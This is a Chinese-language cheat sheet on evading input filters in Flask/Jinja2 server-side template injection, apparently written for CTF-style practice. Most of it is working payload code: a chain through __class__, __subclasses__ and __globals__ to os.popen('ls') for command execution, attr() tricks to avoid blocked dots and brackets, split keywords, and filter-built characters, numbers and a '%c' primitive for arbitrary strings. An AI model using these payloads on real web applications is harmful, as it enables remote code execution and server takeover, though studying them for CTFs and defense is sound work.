attr()
是 jinja2 的原生函数,它是一个过滤器,只查找属性,获取并返回对象的属性的值。
过滤器与变量用管道符号( |
)分割,并且也 可以用圆括号传递可选参数。
如:foo|attr("bar")
和foo["bar"]
是等价的
如果过滤了 .
[
]
,就可以利用这个过滤器绕过
绕过姿势
{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(77)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}}
等价于
{{''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen("ls").read()}}
如果还过滤了关键字,例如过滤了class,可以利用其进行字符拼接
如:{{''.__class__}}
和{{''|attr('__cla''ss__')}}
是等价的
在 Flask jinja 中,内置有很多过滤器可以使用。变量可以通过过滤器进行修改,过滤器与变量之间用管道符号(|
)隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号(|
)连接多个过滤器, 多个过滤器可以链式调用,前一个过滤器的输出会被作为 后一个过滤器的输入。所有内置过滤器参见官方文档
这个姿势核心就是利用这些过滤器,一步步的拼接出我们想要的字符、数字或字符串
下面给出一些常用过滤器利用姿势
{% set org = ({ }|select()|string()) %}{{org}}
这样得到的结果是<generator object select_or_reject at 0x十六进制地址值>
这里就出现了很多字符,那么就可以利用[]
来提取出字符,例如
{% set org = ({ }|select()|string())[24] %}{{org}}
这里就获取到了下划线,以此类推我们还能获取到尖括号、空格、一些字母、数字
类似的还有如下姿势获取
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}
{% set point = self|float|string|min %}{{point}} # 通过float过滤器获取点 .
它们能获取很多字符,特别注意的是{% set org = self|string|urlencode %}{{org}}
可以获取到百分号%
获取数字还有一些姿势
{% set num = (self|int) %}{{num}} # 0, 通过int过滤器获取数字
{% set num = (self|string|length) %}{{num}} # 24, 通过length过滤器获取数字
有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算
{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{%set two = (one%2bone) %}
{%set three = (zero-one-one-one)|abs %}
{% set five = (two*two*two)-one-one-one %}{{five}}
特别注意加法运算的加号(+
),语义冲突不能直接使用,需要url编码为%2b
使用,或者使用abs
过滤器进行取绝对值
字符拼接
{% set org=dict(po=a,p=a)|join%}{{org}} # pop
获取数字
{% set num = (dict(e=a)|join|count) %}{{num}} # 1
{% set num = (dict(ee=a)|join|count) %}{{num}} # 2
{% set c = dict(c=aa)|reverse|first %} # 字符 c
{% set bfh = self|string|urlencode|first %} # 百分号 %
{% set bfhc=bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
这里构造出了%c
,这样就能通过ascill码构造出任意字符,如
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc=bfh~c %}
{% set xhx = bfhc%(95) %}{{xhx}}
这样就能构造出下划线了
参考链接: 以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 | Marcus_Holloway SSTI进阶 | chenlvtang